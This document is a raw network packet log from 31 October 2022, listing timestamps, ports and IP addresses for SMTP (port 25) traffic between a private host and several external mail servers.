Oct 31, 2022 12:20:02.294807911 CET	49847	25	192.168.2.5	142.250.153.27
Oct 31, 2022 12:20:02.323435068 CET	25	49847	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:02.323920012 CET	49847	25	192.168.2.5	142.250.153.27
Oct 31, 2022 12:20:02.351237059 CET	25	49847	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:02.353966951 CET	25	49847	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:02.355528116 CET	25	49844	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:02.357172012 CET	49844	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:20:02.357279062 CET	49847	25	192.168.2.5	142.250.153.27
Oct 31, 2022 12:20:02.385292053 CET	25	49847	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:02.389544010 CET	49847	25	192.168.2.5	142.250.153.27
Oct 31, 2022 12:20:02.422163010 CET	25	49847	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:02.537285089 CET	25	49847	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:02.537828922 CET	49847	25	192.168.2.5	142.250.153.27
Oct 31, 2022 12:20:02.552051067 CET	25	49846	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:02.552318096 CET	49846	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:20:02.564965963 CET	25	49847	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:02.565505981 CET	25	49847	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:02.565844059 CET	49847	25	192.168.2.5	142.250.153.27
Oct 31, 2022 12:20:02.568532944 CET	49847	25	192.168.2.5	142.250.153.27
Oct 31, 2022 12:20:02.596010923 CET	25	49847	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:02.596097946 CET	25	49847	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:02.596136093 CET	25	49847	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:02.596163988 CET	25	49847	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:02.596193075 CET	25	49847	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:02.596398115 CET	49847	25	192.168.2.5	142.250.153.27
Oct 31, 2022 12:20:02.596399069 CET	49847	25	192.168.2.5	142.250.153.27
Oct 31, 2022 12:20:02.601159096 CET	25	49847	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:02.601349115 CET	49847	25	192.168.2.5	142.250.153.27
Oct 31, 2022 12:20:02.623893023 CET	25	49847	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:02.623950005 CET	25	49847	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:02.623980045 CET	25	49847	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:02.624013901 CET	25	49847	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:02.624043941 CET	25	49847	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:02.624043941 CET	49847	25	192.168.2.5	142.250.153.27
Oct 31, 2022 12:20:02.624043941 CET	49847	25	192.168.2.5	142.250.153.27
Oct 31, 2022 12:20:02.624072075 CET	25	49847	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:02.624100924 CET	25	49847	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:02.624133110 CET	25	49847	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:02.624155998 CET	49847	25	192.168.2.5	142.250.153.27
Oct 31, 2022 12:20:02.624155998 CET	49847	25	192.168.2.5	142.250.153.27
Oct 31, 2022 12:20:02.624156952 CET	49847	25	192.168.2.5	142.250.153.27
Oct 31, 2022 12:20:02.624161005 CET	25	49847	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:02.624156952 CET	49847	25	192.168.2.5	142.250.153.27
Oct 31, 2022 12:20:02.624156952 CET	49847	25	192.168.2.5	142.250.153.27
Oct 31, 2022 12:20:02.624188900 CET	25	49847	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:02.624218941 CET	25	49847	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:02.624224901 CET	49847	25	192.168.2.5	142.250.153.27
Oct 31, 2022 12:20:02.624224901 CET	49847	25	192.168.2.5	142.250.153.27
Oct 31, 2022 12:20:02.624238968 CET	25	49847	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:02.624259949 CET	25	49847	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:02.624279022 CET	25	49847	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:02.624296904 CET	25	49847	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:02.624315023 CET	25	49847	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:02.624331951 CET	25	49847	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:02.624350071 CET	25	49847	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:02.628411055 CET	25	49847	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:02.628449917 CET	25	49847	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:02.651454926 CET	25	49847	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:02.651494980 CET	25	49847	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:02.651516914 CET	25	49847	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:02.651529074 CET	25	49847	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:02.651547909 CET	25	49847	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:02.651567936 CET	25	49847	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:02.651587009 CET	25	49847	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:02.651607990 CET	25	49847	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:02.651626110 CET	25	49847	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:02.651644945 CET	25	49847	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:02.651690006 CET	25	49847	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:02.651772976 CET	25	49847	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:02.651838064 CET	25	49847	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:02.651856899 CET	25	49847	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:02.651915073 CET	25	49847	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:02.652003050 CET	25	49847	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:02.652023077 CET	25	49847	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:02.652040958 CET	25	49847	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:02.654512882 CET	25	49847	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:02.654715061 CET	49847	25	192.168.2.5	142.250.153.27
Oct 31, 2022 12:20:02.682214022 CET	25	49847	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:02.682609081 CET	49847	25	192.168.2.5	142.250.153.27
Oct 31, 2022 12:20:02.721009016 CET	25	49844	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:02.780904055 CET	25	49846	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:02.781254053 CET	49846	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:20:02.891336918 CET	25	49844	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:02.891657114 CET	49844	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:20:03.148705959 CET	25	49846	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:03.255141973 CET	25	49844	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:03.317625999 CET	25	49846	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:03.326344013 CET	49846	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:20:03.421842098 CET	25	49844	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:03.427556038 CET	49844	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:20:03.430044889 CET	49848	25	192.168.2.5	74.125.200.27
Oct 31, 2022 12:20:03.545301914 CET	49849	25	192.168.2.5	142.250.150.27
Oct 31, 2022 12:20:03.552367926 CET	49850	25	192.168.2.5	198.252.153.129
Oct 31, 2022 12:20:03.572422981 CET	49851	25	192.168.2.5	94.100.180.31
Oct 31, 2022 12:20:03.599371910 CET	25	49849	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:03.599458933 CET	49849	25	192.168.2.5	142.250.150.27
Oct 31, 2022 12:20:03.630770922 CET	25	49851	94.100.180.31	192.168.2.5
Oct 31, 2022 12:20:03.630897045 CET	49851	25	192.168.2.5	94.100.180.31
Oct 31, 2022 12:20:03.654779911 CET	25	49849	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:03.655005932 CET	49849	25	192.168.2.5	142.250.150.27
Oct 31, 2022 12:20:03.689165115 CET	25	49851	94.100.180.31	192.168.2.5
Oct 31, 2022 12:20:03.689436913 CET	49851	25	192.168.2.5	94.100.180.31
Oct 31, 2022 12:20:03.693672895 CET	25	49846	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:03.709038973 CET	25	49849	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:03.712052107 CET	25	49849	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:03.712224960 CET	49849	25	192.168.2.5	142.250.150.27
Oct 31, 2022 12:20:03.723777056 CET	25	49850	198.252.153.129	192.168.2.5
Oct 31, 2022 12:20:03.723988056 CET	49850	25	192.168.2.5	198.252.153.129
Oct 31, 2022 12:20:03.747756004 CET	25	49851	94.100.180.31	192.168.2.5
Oct 31, 2022 12:20:03.747781992 CET	25	49851	94.100.180.31	192.168.2.5
Oct 31, 2022 12:20:03.747971058 CET	49851	25	192.168.2.5	94.100.180.31
Oct 31, 2022 12:20:03.766851902 CET	25	49849	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:03.767082930 CET	49849	25	192.168.2.5	142.250.150.27
Oct 31, 2022 12:20:03.791045904 CET	25	49844	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:03.793083906 CET	25	49848	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:03.793206930 CET	49848	25	192.168.2.5	74.125.200.27
Oct 31, 2022 12:20:03.808120966 CET	25	49851	94.100.180.31	192.168.2.5
Oct 31, 2022 12:20:03.808425903 CET	49851	25	192.168.2.5	94.100.180.31
Oct 31, 2022 12:20:03.827187061 CET	25	49849	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:03.859858990 CET	25	49846	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:03.860023022 CET	49846	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:20:03.868406057 CET	25	49851	94.100.180.31	192.168.2.5
Oct 31, 2022 12:20:03.868792057 CET	49851	25	192.168.2.5	94.100.180.31
Oct 31, 2022 12:20:03.896111965 CET	25	49850	198.252.153.129	192.168.2.5
Oct 31, 2022 12:20:03.896428108 CET	49850	25	192.168.2.5	198.252.153.129
Oct 31, 2022 12:20:03.926939011 CET	25	49851	94.100.180.31	192.168.2.5
Oct 31, 2022 12:20:03.927093983 CET	49851	25	192.168.2.5	94.100.180.31
Oct 31, 2022 12:20:03.928194046 CET	49851	25	192.168.2.5	94.100.180.31
Oct 31, 2022 12:20:03.970355988 CET	25	49844	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:03.970541000 CET	49844	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:20:03.986538887 CET	25	49851	94.100.180.31	192.168.2.5
Oct 31, 2022 12:20:03.986565113 CET	25	49851	94.100.180.31	192.168.2.5
Oct 31, 2022 12:20:03.986614943 CET	25	49851	94.100.180.31	192.168.2.5
Oct 31, 2022 12:20:03.986679077 CET	25	49851	94.100.180.31	192.168.2.5
Oct 31, 2022 12:20:03.986762047 CET	49851	25	192.168.2.5	94.100.180.31
Oct 31, 2022 12:20:03.986841917 CET	49851	25	192.168.2.5	94.100.180.31
Oct 31, 2022 12:20:03.988248110 CET	25	49849	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:03.988419056 CET	49849	25	192.168.2.5	142.250.150.27
Oct 31, 2022 12:20:04.042562962 CET	25	49849	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:04.042949915 CET	25	49849	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:04.043144941 CET	49849	25	192.168.2.5	142.250.150.27
Oct 31, 2022 12:20:04.044338942 CET	49849	25	192.168.2.5	142.250.150.27
Oct 31, 2022 12:20:04.045295954 CET	25	49851	94.100.180.31	192.168.2.5
Oct 31, 2022 12:20:04.045330048 CET	25	49851	94.100.180.31	192.168.2.5
Oct 31, 2022 12:20:04.045463085 CET	49851	25	192.168.2.5	94.100.180.31
Oct 31, 2022 12:20:04.067933083 CET	25	49850	198.252.153.129	192.168.2.5
Oct 31, 2022 12:20:04.068031073 CET	25	49850	198.252.153.129	192.168.2.5
Oct 31, 2022 12:20:04.068264008 CET	49850	25	192.168.2.5	198.252.153.129
Oct 31, 2022 12:20:04.085782051 CET	25	49851	94.100.180.31	192.168.2.5
Oct 31, 2022 12:20:04.093991041 CET	25	49848	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:04.094130039 CET	49848	25	192.168.2.5	74.125.200.27
Oct 31, 2022 12:20:04.098364115 CET	25	49849	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:04.098404884 CET	25	49849	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:04.098432064 CET	25	49849	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:04.098509073 CET	49849	25	192.168.2.5	142.250.150.27
Oct 31, 2022 12:20:04.098589897 CET	49849	25	192.168.2.5	142.250.150.27
Oct 31, 2022 12:20:04.098606110 CET	25	49849	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:04.098639011 CET	25	49849	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:04.098800898 CET	49849	25	192.168.2.5	142.250.150.27
Oct 31, 2022 12:20:04.098800898 CET	49849	25	192.168.2.5	142.250.150.27
Oct 31, 2022 12:20:04.103526115 CET	25	49851	94.100.180.31	192.168.2.5
Oct 31, 2022 12:20:04.103935003 CET	25	49849	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:04.104042053 CET	49849	25	192.168.2.5	142.250.150.27
Oct 31, 2022 12:20:04.104235888 CET	25	49851	94.100.180.31	192.168.2.5
Oct 31, 2022 12:20:04.104273081 CET	25	49851	94.100.180.31	192.168.2.5
Oct 31, 2022 12:20:04.104301929 CET	25	49851	94.100.180.31	192.168.2.5
Oct 31, 2022 12:20:04.152741909 CET	25	49849	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:04.152787924 CET	25	49849	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:04.152812958 CET	25	49849	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:04.152827978 CET	49849	25	192.168.2.5	142.250.150.27
Oct 31, 2022 12:20:04.152837038 CET	25	49849	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:04.152865887 CET	25	49849	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:04.152889013 CET	49849	25	192.168.2.5	142.250.150.27
Oct 31, 2022 12:20:04.152890921 CET	25	49849	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:04.152889013 CET	49849	25	192.168.2.5	142.250.150.27
Oct 31, 2022 12:20:04.152889013 CET	49849	25	192.168.2.5	142.250.150.27
Oct 31, 2022 12:20:04.152918100 CET	25	49849	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:04.152926922 CET	49849	25	192.168.2.5	142.250.150.27
Oct 31, 2022 12:20:04.152942896 CET	49849	25	192.168.2.5	142.250.150.27
Oct 31, 2022 12:20:04.152945995 CET	25	49849	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:04.152968884 CET	49849	25	192.168.2.5	142.250.150.27
Oct 31, 2022 12:20:04.152972937 CET	25	49849	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:04.152998924 CET	25	49849	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:04.153000116 CET	49849	25	192.168.2.5	142.250.150.27
Oct 31, 2022 12:20:04.153021097 CET	49849	25	192.168.2.5	142.250.150.27
Oct 31, 2022 12:20:04.153023958 CET	25	49849	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:04.153048992 CET	25	49849	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:04.153073072 CET	25	49849	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:04.153096914 CET	25	49849	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:04.153121948 CET	25	49849	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:04.153153896 CET	25	49849	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:04.153181076 CET	25	49849	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:04.153305054 CET	25	49849	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:04.158128977 CET	25	49849	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:04.158180952 CET	25	49849	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:04.207196951 CET	25	49849	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:04.207228899 CET	25	49849	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:04.207243919 CET	25	49849	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:04.207257986 CET	25	49849	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:04.207273006 CET	25	49849	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:04.207287073 CET	25	49849	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:04.207302094 CET	25	49849	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:04.207315922 CET	25	49849	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:04.207329988 CET	25	49849	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:04.207360983 CET	25	49849	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:04.207487106 CET	25	49849	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:04.207503080 CET	25	49849	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:04.207515955 CET	25	49849	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:04.207577944 CET	25	49849	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:04.207593918 CET	25	49849	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:04.207698107 CET	25	49849	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:04.207712889 CET	25	49849	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:04.207726955 CET	25	49849	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:04.227384090 CET	25	49846	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:04.240037918 CET	25	49850	198.252.153.129	192.168.2.5
Oct 31, 2022 12:20:04.240257025 CET	49850	25	192.168.2.5	198.252.153.129
Oct 31, 2022 12:20:04.320512056 CET	25	49848	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:04.320815086 CET	49848	25	192.168.2.5	74.125.200.27
Oct 31, 2022 12:20:04.334007978 CET	25	49844	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:04.410847902 CET	25	49846	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:04.411101103 CET	49846	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:20:04.411988020 CET	25	49850	198.252.153.129	192.168.2.5
Oct 31, 2022 12:20:04.412147999 CET	49850	25	192.168.2.5	198.252.153.129
Oct 31, 2022 12:20:04.426999092 CET	25	49851	94.100.180.31	192.168.2.5
Oct 31, 2022 12:20:04.427202940 CET	49851	25	192.168.2.5	94.100.180.31
Oct 31, 2022 12:20:04.485279083 CET	25	49851	94.100.180.31	192.168.2.5
Oct 31, 2022 12:20:04.485464096 CET	49851	25	192.168.2.5	94.100.180.31
Oct 31, 2022 12:20:04.501105070 CET	25	49844	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:04.501312971 CET	49844	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:20:04.502962112 CET	49844	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:20:04.588186026 CET	25	49850	198.252.153.129	192.168.2.5
Oct 31, 2022 12:20:04.588375092 CET	49850	25	192.168.2.5	198.252.153.129
Oct 31, 2022 12:20:04.684012890 CET	25	49848	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:04.728918076 CET	25	49849	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:04.728948116 CET	25	49849	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:04.729031086 CET	49849	25	192.168.2.5	142.250.150.27
Oct 31, 2022 12:20:04.729159117 CET	49849	25	192.168.2.5	142.250.150.27
Oct 31, 2022 12:20:04.766211033 CET	49852	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:20:04.778414965 CET	25	49846	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:04.783248901 CET	25	49849	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:04.850490093 CET	25	49848	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:04.850754023 CET	49848	25	192.168.2.5	74.125.200.27
Oct 31, 2022 12:20:04.864756107 CET	25	49844	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:04.866173983 CET	25	49844	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:04.866192102 CET	25	49844	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:04.866206884 CET	25	49844	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:04.866240025 CET	25	49844	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:04.866255045 CET	25	49844	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:04.866344929 CET	49844	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:20:04.866344929 CET	49844	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:20:04.866384983 CET	25	49844	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:04.866409063 CET	25	49844	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:04.866430998 CET	25	49844	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:04.866444111 CET	25	49844	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:04.866456985 CET	25	49844	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:04.866508007 CET	49844	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:20:04.866683960 CET	49844	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:20:04.876849890 CET	25	49813	85.187.148.2	192.168.2.5
Oct 31, 2022 12:20:04.877362013 CET	49813	25	192.168.2.5	85.187.148.2
Oct 31, 2022 12:20:04.944616079 CET	25	49846	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:04.945157051 CET	49846	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:20:04.946743011 CET	49846	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:20:05.032062054 CET	25	49813	85.187.148.2	192.168.2.5
Oct 31, 2022 12:20:05.039685965 CET	49813	25	192.168.2.5	85.187.148.2
Oct 31, 2022 12:20:05.126458883 CET	25	49852	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:05.127513885 CET	49852	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:20:05.194679022 CET	25	49813	85.187.148.2	192.168.2.5
Oct 31, 2022 12:20:05.194984913 CET	49813	25	192.168.2.5	85.187.148.2
Oct 31, 2022 12:20:05.213783026 CET	25	49848	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:05.229959965 CET	25	49844	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:05.230071068 CET	25	49844	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:05.230103970 CET	25	49844	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:05.230138063 CET	25	49844	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:05.230178118 CET	25	49844	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:05.230206013 CET	25	49844	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:05.230231047 CET	25	49844	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:05.230243921 CET	49844	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:20:05.230243921 CET	49844	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:20:05.230258942 CET	25	49844	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:05.230284929 CET	25	49844	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:05.230304956 CET	49844	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:20:05.230304956 CET	49844	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:20:05.230304956 CET	49844	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:20:05.230304956 CET	49844	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:20:05.230309963 CET	25	49844	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:05.230336905 CET	25	49844	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:05.230343103 CET	49844	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:20:05.230361938 CET	25	49844	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:05.230387926 CET	25	49844	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:05.230412006 CET	25	49844	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:05.230436087 CET	25	49844	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:05.230460882 CET	25	49844	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:05.230484009 CET	25	49844	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:05.230509043 CET	25	49844	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:05.230532885 CET	25	49844	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:05.230557919 CET	25	49844	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:05.312474012 CET	25	49846	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:05.314035892 CET	25	49846	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:05.314091921 CET	25	49846	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:05.314119101 CET	25	49846	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:05.314147949 CET	25	49846	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:05.314177036 CET	25	49846	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:05.314301968 CET	49846	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:20:05.314301968 CET	49846	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:20:05.314392090 CET	25	49846	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:05.314426899 CET	25	49846	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:05.314444065 CET	25	49846	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:05.314471006 CET	25	49846	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:05.314488888 CET	25	49846	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:05.314609051 CET	49846	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:20:05.314610004 CET	49846	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:20:05.377525091 CET	25	49848	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:05.379401922 CET	49848	25	192.168.2.5	74.125.200.27
Oct 31, 2022 12:20:05.388916016 CET	25	49813	85.187.148.2	192.168.2.5
Oct 31, 2022 12:20:05.439790964 CET	25	49852	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:05.442220926 CET	49852	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:20:05.593888044 CET	25	49844	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:05.593929052 CET	25	49844	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:05.593946934 CET	25	49844	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:05.593957901 CET	25	49844	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:05.593970060 CET	25	49844	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:05.593986034 CET	25	49844	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:05.594014883 CET	25	49844	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:05.594031096 CET	25	49844	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:05.594043970 CET	25	49844	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:05.594054937 CET	25	49844	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:05.594070911 CET	25	49844	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:05.594099045 CET	25	49844	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:05.594181061 CET	25	49844	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:05.594273090 CET	25	49844	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:05.594286919 CET	25	49844	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:05.594299078 CET	25	49844	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:05.594347000 CET	25	49844	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:05.594361067 CET	25	49844	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:05.663146019 CET	25	49852	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:05.663322926 CET	49852	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:20:05.681757927 CET	25	49846	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:05.681818962 CET	25	49846	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:05.681907892 CET	25	49846	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:05.681946993 CET	25	49846	74.125.200.26	192.168.2.5
